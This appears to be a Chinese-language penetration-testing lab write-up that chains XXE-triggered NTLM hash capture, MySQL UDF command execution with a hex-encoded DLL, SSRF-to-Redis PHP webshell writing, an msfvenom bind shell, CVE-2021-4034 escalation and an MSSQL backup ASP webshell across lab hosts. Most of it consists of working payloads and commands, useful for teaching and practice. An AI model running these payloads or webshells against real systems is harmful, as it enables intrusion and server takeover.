这是过去同事出的某个月的靶场,主要考察数据库的利用,现在我回顾了一下,有其他办法打下来。靶场这种,对熟悉的朋友可能当成流水账分享出来,但是利用是思路可以启发一些新入坑的师傅。现在我工作研究以云为主,后续会分享一些云的靶场和云的攻击思路

具体过程

端口扫描:

访问页面:

下载源代码:

一个明显的XXE,但是我忘了payload怎么插位置了,选择do active scan:

bp的扫描有点慢,等5分钟作用看到控制台已经出现XXE告警了:

尝试利用file协议触发NTLM认证

拿到NTLMv2

[SMB] NTLMv2-SSP Client   : 192.168.9.32
[SMB] NTLMv2-SSP Username : WIN-5VFSQB79O7Q\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::WIN-5VFSQB79O7Q:4c08c6e928eb92e1:509F646FA230C594CA87E41CC35AE6B2:010100000000000080636C8EFC8AD9017B9A24AA652678890000000002000800440033005300480001001E00570049004E002D004900330050004E00310051005000360046005600500004003400570049004E002D004900330050004E0031005100500036004600560050002E0044003300530048002E004C004F00430041004C000300140044003300530048002E004C004F00430041004C000500140044003300530048002E004C004F00430041004C000700080080636C8EFC8AD9010600040002000000080030003000000000000000000000000030000069C08C33C70925621E8A9A661614AE8333E6846F5F1861A6BB5A1A7E8E1EA01D0A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00310031002E00320031003700000000000000000000000000

尝试hashcat破解密码发现7位以内还很好破解,到了8位要好几个小时,基本上没时间放弃了(过了一段时间,我发现hashcat可以使用Rule去破解,速度缩短到一个小时以内破解任意非随机生成的密码):

利用XXE外部实体读取有回显的文件:

读取connet.php文件内容获取密码:

连接数据库文件:

Mysql#202305

测试sql直接udf拿shell,果然不行

sqlmap -d  "mysql://root:Mysql#[email protected]:3306/mysql"  --os-shell

手工建立连接发现插件位置

C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll

无法写入:

根据大佬提示,没办法写入的原因是phpstudy默认没有这个东西

C:\phpstudy_pro\Extensions\MySQL5.5.29\

需要创建插件目录,需要逐级创建:

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';

写入对应的dll库:

SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000677cbfda231dd189231dd189231dd18904dbbf89211dd18904dbbc892a1dd18904dbaa89261dd189231dd0890f1dd18904dbac89211dd18904dba089221dd18904dbab89221dd18904dba989221dd18952696368231dd189000000000000000000000000000000005045000064860300a727a15a0000000000000000f00022200b020800002000000010000000800000109f000000900000000000100000000000100000000200000400000000000000050002000000000000c000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098b2000008020000b0b10000e800000000b00000b00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000e0555058310000000000200000009000000012000000040000000000000000000000000000400000e02e727372630000000010000000b000000006000000160000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d240209e1e421439d3bdfb7de7400000f0f0000002a0000490000d41de9feff833a007450488b05a421000049890009a24008cd4973d20a9f109c1899cd9f34272096280fb70593666d83fdb7410b30b001c332c0c3cc00c215cc92c9ba810034716a6febcc16e46c096a471853fdbf1fa4631c0fb605591688401e41c7011e00ffed6dd62b8b63bf01750f3f42088338007506c64b26ebdc01017b4e2d632b05b9e4b228ce25227ed20cd26f1f28152ab001c3f66d7bc2bf83ec38344a43895c243084b7fff6dbd90b09ff15c71f2b4885c04c8bd87512104c24df6eaeb9608707202dc4388e897c242873edcdfd33c048c7c1ff0033fbf2ae1c120976d9b75b1af7d122e901890b2dcc00be6feb166f28e3026e404848deda7fdb29f938d87459488d0d40ee4e0e813832983de4c1eb81403281480a9ee4435e4f81503281543281563261f37d4fb0018c48804028c34c49467607744e61deed584917e49260680a703c6527cd18782056c740045cf8bf33b64342188b48048b008d4c010239bd1e77d27d8bd947107543706d8045ec1be936130309884370900a00b69dee10c8980a18bc0cb3c6b00e07103fbcb37ddb0f49a585c974066f5d17b7086d21cf93cf047424ada3b9772d7110448b6949e2fa02c2eddfba52e2ce0212498d5c3001e83f0ffce85cd7fddd5febcb418b03c60430d2470d5734b70c58d7e22d0822d34313167bb75bce2618007ca01cff56677c84842f7198f4cf16c64373870d087c8c03d6e4240f79561e541e511e7292939c4e1e4b1e481e63c2425e3e1e1fcf2784ee87c71f1da0981f4c89c68685ee44241824580f6c59897486bb86db76381764bdb900d34c18284cb0db7e302d4d8bf146e8e7b901ee9b6dc1ec04e00dda4533ed4488670beef69b4ff04c39290f8413050673f215fdcfb8b9169125ac1c088be8747b418d5508e1c9b6b13ac0e6cc177c7466a04b6640fa50669047fc3f42858e1b0b9529328d7936ce6f7d61c16c304375cd8cc74803c8f56636b724d470143e51c5ba08e1d9b68d39cc1ceb13225975ad886cdbb6f050eb258bc77004cd1930ddfe9cdb803e30e2154874229245ffb176d8827811fef5887edd4d174ebe5a0eebc18424805ec606e71ada0001380c4c38f12a10f8386c04c6f0a0581a87e792317fd3dc5cd8d6d09d58747a28f2023f73b773df3e448d48406e41b80010b3748bd1f10df7c7ed33c9ab441a5356104cefa2dbe6b66c02c8d8154e1b8d54b94c350aede98d054a75890ba3b16e3b2dbc3133d2c7d0208925183bdf19b7b3bad2c80df2199d30ac581e29eb081433c0922fb384f13be0064ceb0033c029001bb0dfb65538ec024510ff10c9196600fb6f7f6c900390483b0d89293f751148c1c11066f7dddd6fdfb87502f3dac1c910e9150aeccc405361203b8b7d1b5801a05fdcd25b0bfbeef7f685dbc905112fd005020675098d430185bb76efb6205b42c703d59b0d3c48b406634136670b1c5805b12006615bd85bc3cf55d27f6cc7c7c376fc608468e140dcfbf1c2c63831e83be141bdd20f8503ee46bb7408075ee428073c0f8e0d8de6b61b6e2bc58ed3105fdcfd3e76fb0fb12d602e0a741ef290b9e803c91d19bfdb36931d4275e841320783f802740fb9ef6dc3b31fb70eca0208e2ed0d2f2e338e740fd2111912f874491412fc18dadc0b1fd958f847df72165f1803b6bb2d701e4ad0c9eb081573ed12ecf6bedbcf2774192d06429bd72d0698fbfb66d833db891db80e871db906716fc7feb59806e5413bd5dde26541042530bb7dbbbd002c0978081e8bf3f048b93d883072b0b7920a63c7741ad64618d7d29b2f1c6b75e3eb037bf5a79a5ed6390c950cdaeb3fea1f9f7db7f08e8f080644892d312d1bc485c0678fed62771a15e5de0dd6181abe7fddbbeec7050725024585f67507b404bb833d14ddc96e73068b212a0b2d5c6f11dedd264fe3029cf12c66012d3a273e9e9ebe10c58f38d240e468ec98717a60dce91748c3b14d22190f6c20483a5adbf308505851f0dd05bbee77df3d041f208915d12695d275133915d709ed7f38c3750b5a17c61e83fa017405040add6be00275338931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INTO DUMPFILE 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll';

自定义函数:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

执行命令

select sys_eval('whoami');

上线cs后执行存活探测,发现10.11.12.14的存活的:

密码Administrator Heh@202305

端口扫描发现了:

访问抓包发现redirect.php似乎有问题,可以指向内部的系统:

利用ssrf端口扫描,发现存在127.0.0.1的redis组件:

利用dict写入webshell:

redirect.php?url=dict://127.0.0.1:6379/config:set:dir:/www/admin/www.test.com/

dict://127.0.0.1:6379/config:set:dbfilename:webshell.php

dict://127.0.0.1:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x20\x3f\x3e"

dict://127.0.0.1:6379/save

成功getshell:

不过权限有点低,我这边上了正向的msf上线,之后使用了CVE-2021-4034的漏洞提权到ROOT:

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=24444 -f elf > shell.elf 

上线CS成功:

查看网卡发现还有一层:

上传appscan看看效果,似乎有数据库弱密码:

现在是代理搭建的问题:

连接上数据库,发现系统也是2008 R2的,没有dba权限:

想偷个懒,看看有没有bluekeep的rce:

很明显,确实一键就能打下来,不过在三层内网下要进行复杂了端口转发操作(改用正向就可以),如果实在不行了,我再用这个漏洞打:

10.10.11.12

iis默认路径在:

C:\inetpub\wwwroot

仔细寻找似乎发现了一个这个奇怪的test123数据库,这个东西

应该是差异备份写shell,之前写在根目录可能没权限,导致我备份不出来。

backup database test to disk = 'C:\inetpub\2.bak';

create table [dbo].[test] ([cmd] [image]);

INSERT INTO test.dbo.test (cmd)
VALUES ('0x3C25657865637574652872657175657374282261222929253E')

backup database test to disk='C:\inetpub\wwwroot\endlessparaodox.asp' WITH DIFFERENTIAL,FORMAT;

成功getshell:

上线msf提权,潜在的漏洞都无法利用:

1   exploit/windows/local/bypassuac_dotnet_profiler                Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/bypassuac_sdclt                          Yes                      The target appears to be vulnerable.
 4   exploit/windows/local/cve_2019_1458_wizardopium                Yes                      The target appears to be vulnerable.
 5   exploit/windows/local/cve_2020_1054_drawiconex_lpe             Yes                      The target appears to be vulnerable.
 6   exploit/windows/local/ms10_092_schelevator                     Yes                      The service is running, but could not be validated.
 7   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.
 8   exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.
 9   exploit/windows/local/ms16_014_wmi_recv_notif                  Yes                      The target appears to be vulnerable.
 10  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.
 11  exploit/windows/local/ms16_075_reflection                      Yes                      The target appears to be vulnerable.
 12  exploit/windows/local/ms16_075_reflection_juicy                Yes                      The target appears to be vulnerable.

尝试使用ms16-032 ,发现无法添加用户,可能存在转义问题?:

Invoke-MS16-032 -Application cmd.exe -commandline  ""

尝试了大部分方法,大部分poc只支持win7和更高版本,无法提权,结束本次靶场考核:

总结

靶场的形式非常适和渗透师掌握各种攻击手法,并且在宏观的层面有个理解;既是入门也是提升的好的练习场,但是最好有一定基础再去挑战高难度的靶场,不然就是浪费时间;“You Know It , than You can hack it!~”